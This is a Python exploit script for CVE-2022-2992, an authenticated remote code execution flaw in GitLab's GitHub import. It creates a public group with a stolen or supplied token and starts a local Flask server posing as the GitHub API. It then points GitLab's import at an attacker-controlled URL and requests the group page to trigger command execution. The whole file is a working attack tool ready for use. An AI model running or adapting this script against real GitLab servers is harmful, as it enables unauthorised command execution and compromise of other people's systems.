import requests
import time
import random
import string
import argparse
import threading
from server import *

parser = argparse.ArgumentParser(description='CVE-2022-2992 - Gitlab Authenticated RCE via Github Import')
parser.add_argument('-a', help='Auth-Token', required=True)
parser.add_argument('-u', help='Attacker Repo URL (Eg: https://ba20-40-33-92-70.in.ngrok.io)', required=True)
parser.add_argument('-t', help='URL (Eg: http://gitlab.example.com)', required=True)
args = parser.parse_args()

auth_token = args.a
gitlab_url = args.t
attacker_url = args.u

session = requests.Session()

print("[1] Creating Group")
group_name =''.join(random.choices(string.ascii_lowercase, k=10))
headers = {'PRIVATE-TOKEN': auth_token}
data = {'name':group_name,'path':group_name,'visibility':'public'}
r = session.post(gitlab_url+"/api/v4/groups", headers=headers, data=data)

if r.status_code != 201:
	print(r.text)
	exit("Failed to create group, check your auth token.")
else:
	print("[+] Successfully created group: "+group_name)

print("[2] Running flask server")
def runserver():
	app.run(host='0.0.0.0', port='5000', debug=False)
t1 = threading.Thread(target=runserver)
t1.start()

print("[3] Importing Github Repo")
data= {'personal_access_token':'fake_token','repo_id':'12345','target_namespace':group_name,'new_name':'gh-import-420','github_hostname':attacker_url}
r = session.post(gitlab_url+"/api/v4/import/github",headers=headers,data=data)
print(r.status_code)
time.sleep(5)

print("[4] Triggering Payload")
headers = {'Cookie':'_gitlab_session=gggg'}
r = session.get(gitlab_url+"/"+group_name, headers=headers)

if r.status_code != 500:
	exit("[-] Exploit failed")
else:
	print("[+] Command was executed")
